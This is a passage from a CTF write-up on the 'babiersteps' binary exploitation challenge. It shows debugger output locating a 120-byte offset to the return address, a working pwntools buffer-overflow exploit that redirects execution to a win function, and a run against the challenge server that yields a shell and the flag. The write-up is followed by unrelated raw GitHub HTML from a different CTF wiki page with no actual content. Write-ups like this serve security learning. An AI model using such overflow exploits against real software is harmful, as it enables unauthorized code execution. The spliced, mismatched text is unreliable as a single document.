...gef➤ search-pattern AAAAAAAA[+] Searching 'AAAAAAAA' in memory[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- 0x7fffffffde80 - 0x7fffffffde88 → "AAAAAAAA" gef➤ info frameStack level 0, frame at 0x7fffffffdef8: rip = 0x401220 in main; saved rip = 0x7ffff7e0ad0a Arglist at 0x7fffffffdef0, args: Locals at 0x7fffffffdef0, Previous frame's sp is 0x7fffffffdf00 Saved registers: rip at 0x7fffffffdef8gef➤ ```
The buffer locates on ```0x7fffffffde80``` and ```rip``` on ```0x7fffffffdef8``` the offset is ```120``` bytes:```console... | 120 bytes including the buffer | rip | ...````
The address of ```win```:```asmgef➤ print win$1 = {<text variable, no debug info>} 0x4011c9 <win>```
So now we can solve it using [pwntools](https://docs.pwntools.com/en/stable/intro.html) with the following [code](./exp_babiersteps.py):```pythonfrom pwn import *
elf = ELF('./babiersteps')libc = elf.libc
if args.REMOTE: p = remote('challenge.nahamcon.com', 31879)else: p = process(elf.path)
# payload bufferpayload = b"\x90"*120payload += p64(0x4011c9)
p.recvuntil('?')p.sendline(payload)p.interactive()```
Run it:```console┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/babiersteps]└──╼ $ python3 exp_babiersteps.py REMOTE[*] '/nahamcon/binary_exploitation/babiersteps' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[*] '/usr/lib/x86_64-linux-gnu/libc-2.31.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to challenge.nahamcon.com on port 30479: Done[*] Switching to interactive mode
$ hostnamebabiersteps-95d8954facfdd3a1-56784c8d5c-qf5xp$ lsbabierstepsbindevetcflag.txtliblib32lib64libx32usr$ cat flag.txtflag{4dc0a785da36bfcf0e597917b9144fd6}```
And we get the flag ```flag{4dc0a785da36bfcf0e597917b9144fd6}```. |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/wiki-b72b6de22521.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_github_remo-8e6bec-232430bfe6da.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_scroll-anchoring_di-e71893-cc1b30c51a28.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_diffs_blob-lines_ts-app_assets_modules_github_diffs_linkable-line-n-f96c66-97aade341120.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/diffs-3a64c1f69a81.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wiki-1423a5c9ebf5.js"></script>
<title>Space Heroes CTF : Strange Traffic · not1cyyy/CTF-Writeups Wiki · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/wiki/:id(.:format)">
<meta name="current-catalog-service-hash" content="27690012a2eb28b75d0bacab0f2c11870266e8db9e019fa71fea812b82397bd6">
<meta name="request-id" content="817B:76EE:1CB00A94:1D8C57AF:64121B97" data-pjax-transient="true"/><meta name="html-safe-nonce" content="439828612f4f30ddf859d30a40fd6224860e328499703323329f1724b654fd03" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4MTdCOjc2RUU6MUNCMDBBOTQ6MUQ4QzU3QUY6NjQxMjFCOTciLCJ2aXNpdG9yX2lkIjoiMjA1ODc4Mzg4NjI5NzY2ODUwMyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="274346d3b46a57df94e67382f35cc999603057369990842efc05404ab0aa4256" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:481769760" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository" data-turbo-transient="true" />
<meta name="selected-link" value="repo_wiki" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/wiki/show" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="This is my writeups repository ! . Contribute to not1cyyy/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e171482900f0c3d46b31f49340e572ecc31e0ee3e562f7133c521eed126b0881/not1cyyy/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Space Heroes CTF : Strange Traffic" /><meta name="twitter:description" content="This is my writeups repository ! . Contribute to not1cyyy/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e171482900f0c3d46b31f49340e572ecc31e0ee3e562f7133c521eed126b0881/not1cyyy/CTF-Writeups" /><meta property="og:image:alt" content="This is my writeups repository ! . Contribute to not1cyyy/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Space Heroes CTF : Strange Traffic" /><meta property="og:url" content="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Strange-Traffic" /><meta property="og:description" content="This is my writeups repository ! . Contribute to not1cyyy/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta name="go-import" content="github.com/not1cyyy/CTF-Writeups git https://github.com/not1cyyy/CTF-Writeups.git">
<meta name="octolytics-dimension-user_id" content="101048320" /><meta name="octolytics-dimension-user_login" content="not1cyyy" /><meta name="octolytics-dimension-repository_id" content="481769760" /><meta name="octolytics-dimension-repository_nwo" content="not1cyyy/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="481769760" /><meta name="octolytics-dimension-repository_network_root_nwo" content="not1cyyy/CTF-Writeups" />
<meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
